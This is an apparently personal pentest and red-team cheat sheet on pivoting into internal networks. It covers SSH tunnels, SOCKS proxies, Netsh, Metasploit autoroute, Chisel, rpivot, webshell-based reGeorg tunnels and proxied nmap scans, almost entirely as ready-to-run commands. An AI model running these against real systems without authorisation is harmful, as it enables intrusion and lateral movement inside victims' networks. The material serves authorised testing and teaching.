Pivoting

This page will present a serie of commands to pivot through domains during Pentest and Red Team operations.

The structure of this page is highly inspired by the french article *Etat de l'art du pivoting réseau en 2019* by **Orange Cyberdefense** :

https://orangecyberdefense.com/fr/insights/blog/ethical_hacking/etat-de-lart-du-pivoting-reseau-en-2019/

This cheatsheet will present the commands described in the article, but without all the explains, only the commands and the essential informations.

> This page is not up to date. I plan to refactor it in order to make something more efficient and usuable.

SSH

Local Port Forwarding

All the request to `127.0.0.1:32000` will be transfer to the machine `10.42.42.80:80` through `192.168.2.105`

```
ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -L 127.0.0.1:32000:10.42.42.2:80 -N
```

Reverse Remote Port Forwarding

```
ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
```

- Get a shell on the pivot machine
- Launch a ssh server on our machine
- Create a dedicated account without shell on our machine to limitate the **hackback**

- Launch the reverse from the pivot machine
- Request `127.0.0.1:14000` to reach `10.42.42.2:80`

```
#On our machine
sudo systemctl start sshd
sudo useradd sshpivot --no-create-home --shell /bin/false
sudo passwd sshpivot

#On the pivot machine
ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:10.42.42.2:80 -N
```

Dynamic Port Forwarding

```
ssh user@ssh_server -D [bind_address:]local_port
ssh noraj@192.168.2.105 -D 127.0.0.1:12000 -N
```

We can request any machines through the proxy

```
curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:12000
```

Reverse remote port forwarding + proxy SOCKS

3 tools can be used :

- Proxychains
- Proxychains-ng
- 3proxy

> Proxychains is really good for client side, but not for the server part. Prefer **3proxy**, particularly the standalone binary **socks**.

```
chmod u+x socks
./socks '-?'
./socks -p10080 -tstop -d
ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:127.0.0.1:10080 -N
```

From our machine :

```
curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:14000
```

VPN over SSH

- With **openssh**
- Choose a **not present** network
  - We create the network 10.43.43.0/30
  - Our actual network is 192.168.2.0/24
  - Target network : 10.42.42.0/24
- Authorized the **tun device forwarding** : `PermitTunnel yes` in `/etc/ssh/sshd_config`
- Create a tun interface on the pivot machine and our machine (root is needed)

Solution 1 (not recommended)

> Let openssh create the interfaces : root is needed on both machines, risk of **hackback**

```
#On our machine
sudo ssh root@192.168.2.105 -w any:any
```

Solution 2 (recommended)

Manual creation and destruction.

On the **pivot** machine :

```
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.1/30 peer 10.43.43.2 dev tun0
sudo ip link set tun0 up

sudo sysctl net.ipv4.conf.default.forwarding=1
```

On **our** machine :

```
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.43.43.2/30 peer 10.43.43.1 dev tun0
sudo ip link set tun0 up
```

```
ssh noraj@192.168.2.105 -w 0:0
#-w permits to specify the interface numbers
```

Setup NAT on the pivot

```
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -o eth1 -j MASQUERADE
#Or
sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -d 10.42.42.0/24 -j MASQUERADE
```

ARP proxy instead of NAT

```
sudo sysctl net.ipv4.conf.eth0.proxy_arp=1
sudo ip neigh add proxy 10.43.43.2 dev eth0
```

Setup the route

On **our** machine

```
sudo ip route add 10.42.42.0/24 via 10.43.43.1
```

Sshuttle - Transparent proxy over SSH

To forward everything to the 10.42.42.0/24 network

```
sshuttle -r noraj@192.168.2.105 10.42.42.0/24
#With the SSH key
sudo python3 -m sshuttle -v -r 10.10.110.100 10.42.42.0/24 --ssh-cmd 'ssh -i id_rsa'
```

To let sshuttle auto discovered the networks (`-x` to exclude a network) :

```
sshuttle -vNr noraj@192.168.2.105 -x 192.168.1.0/24
```

Netsh

Usefull in Windows / AD environement. We can contact a machine, and this one can contact another machine, but we can't directly contact the second machine from ours.

These commands have to be done on the "central" pivot machine :

```
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44
connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP
localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow
protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow
protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow
protocol=TCP localport=4545
```

Metasploit

Autoroute, proxy socks and local port forwarding

```
msf5 exploit(multi/handler) > back
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/autoroute) > set CMD add
CMD => add
msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0
SUBNET => 10.42.42.0
msf5 post(multi/manage/autoroute) > set NETMASK /24
NETMASK => /24
msf5 post(multi/manage/autoroute) > run
```

There is a module for Windows to discover some networks with ARP : `post/windows/gather/arp_scanner`

Then :

```
use auxiliary/server/socks4a
```

> Prefer socks4 instead of socks5 to limit conflicts with other tools

To use without proxychains : `curl --head http://10.42.42.2 --proxy socks4a://127.0.0.1:1081`

Double pivoting

We already have a pivot on a machine, and we gain access to another machine on the internal network. We want to use it in order to pivot to another network :

- We create a meterpreter payload with the first pivot machine IP as a **LHOST** value
- We set a handler on the same IP
- With the meterpreter session on the second machine, we can add an autoroute to the next network
- Open a new server SOCKS proxy with a **new SRVPORT**

Ncat - Reverse remote port forwarding

> Use Ncat with the **broker** mode to accept connections from multiple clients

```
ncat -lv --broker --max-conns 2
```

On the **pivot** machine :

```
ncat -v 192.168.2.149 31337 -c 'ncat -v 10.42.42.2 80'
```

Chisel

Local port forwarding

```
#Pivot machine
chisel server -p 8080 --host 192.168.2.105 -v
#Our machine
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80
```

Local port forwarding + SOCKS proxy

```
#Pivot machine
chisel server -p 8080 --host 192.168.2.105 --socks5 -v
#Our machine
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:socks

#Use
curl –head http://10.42.42.2 –proxy socks5://127.0.0.1:33333
```

Reverse remote port forwarding

```
#Our machine
chisel server -p 8888 --host 192.168.2.149 --reverse -v
#Pivot machine
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80
```

Reverse remote port forwarding + proxy SOCKS (auto local port forwarding internal socks proxy)

On **our** machine :

```
chisel server -p 8888 --host 192.168.2.149 --reverse -v
```

Chisel can't be used as a SOCKS proxy server directly :

- Run a SOCKS server
- Connect us with a second client
- Make a local port forwarding to the local Chisel server in order to share the SOCKS proxy server to the first client

On the **pivot** machine :

```
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:127.0.0.1:55555
chisel server -p 62000 --host 127.0.0.1 --socks5 -v
chisel client -v http://127.0.0.1:62000 127.0.0.1:55555:socks
```

To test : `curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:44444`

VPN Pivot - VPN Tunnel

Can be found here : https://github.com/0x36/VPNPivot

Same idea as the SSH VPN, but here we will use **SSL/TLS**

On **our** machine :

```
sudo pivots -i tun7 -I 10.42.42.3/24 -p 28888 -v
```

On the **pivot** machine :

```
sudo sysctl net.ipv4.conf.default.forwarding=1
sudo pivotc 192.168.2.149 28888 10.42.42.1

sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -o eth1 -j MASQUERADE
sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -d 10.42.42.0/24 -j MASQUERADE
```

> The project is not maintained now

PivotSuite - multi port forwarding + proxy SOCKS

"Remote" local port forwarding

Forward directly from the pivot machine : no need of a client

```
pivotsuite -S -F --server-option=PF --forward-ip=10.42.42.2 --forward-port=80 --server-ip=192.168.2.105 --server-port=8080
#Or
pivotsuite -S -F --server-option=PF --remote-ip=10.42.42.2 --remote-port=80 --server-ip=192.168.2.105 --server-port=8080
```

“Remote” dynamic port forwarding

```
pivotsuite -S -F --server-option=SP --server-ip=192.168.2.105 --server-port=8080
#Client side
curl --head http://10.42.42.2 --proxy socks5://192.168.2.105:8080
```

Reverse dynamic port forwarding (not recommended)

On our machine :

```
pivotsuite -S -W --server-ip 192.168.2.149 --server-port 8090
```

Our server is listenning on all the interfaces, all the ports : everyone can connect to us

On the pivot machine :

```
pivotsuite -C -O SP --server-ip 192.168.2.149 --server-port 8090
```

To test : `curl --head http://10.42.42.2 --proxy socks5://192.168.2.149:7684` or `curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:7684`

Pivoting behind a NAT

The pivot machine IP is *NATed* and the machine is, for example, behind a firewall : all the IN ports are closed, but all the OUT ports are open.

We will use the pivot machine as a client, and our machine as a server.

Rpivot - Reverse proxy

Can be found here : https://github.com/klsecservices/rpivot

Server on our machine, client on the pivot :

```
python2 server.py --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000
python2 client.py --server-ip 192.168.2.149 --server-port 9999

#And we use socks4
curl --head http://10.42.42.2 --proxy socks4://127.0.0.1:21000
```

In order to simplify the deployment on the pivot machine, we can use a zip archive :

```
zip rpivot.zip -r *.py ./ntlm_auth/
#Or
7z a -r rpivot.zip *.py ./ntlm_auth/

python2 rpivot.zip server --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000
python2 rpivot.zip client --server-ip 192.168.2.149 --server-port 9999
```

Tunna / Fulcrom - HTTP Tunnel

Can be found here : https://github.com/SECFORCE/Tunna

Create a pivot through a webshell with the ports 80 or 443 when they are the only allow.

> Instable, not up to date, not really recommended

On the **pivot** :

```
PHP -S 192.168.2.105:8080
```

On **our** machine :

```
python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.php -l 127.0.0.1 -p 7777
```

To bypass the socket restrictions, **nosocket** version :

```
python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.nosocket.php -l 127.0.0.1 -p 7777
```

There is a fork with some improvements (passwords, Python3, etc) : https://github.com/L-codes/Neo-reGeorg

To gererate password on webshell and use it :

```
python3 neoreg.py generate -k pivotpassword
python3 neoreg.py -k pivotpassword -u http://192.168.2.105:65000/tunnel.js
```

Common tools with SOCKS

Proxychains

Modify `/etc/proxychains.conf` and :

```
proxychains curl --head http://10.42.42.2
```

Nmap through proxychains

To scan 65535 ports at a normal speed :

```
seq 1 65535 |  xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 10.42.42.2 -oG
10.42.42.2 --open --append-output 10.42.42.2 -Pn -n
```

To scan multiple machines :

```
seq 1 254 |  xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 10.42.42.cpt -oG
10.42.42.0 --open --append-output 10.42.42.cpt -Pn -n
```

Revision #5
Created 5 December 2020 06:46:01 by BlackWasp
Updated 1 November 2023 15:57:08 by BlackWasp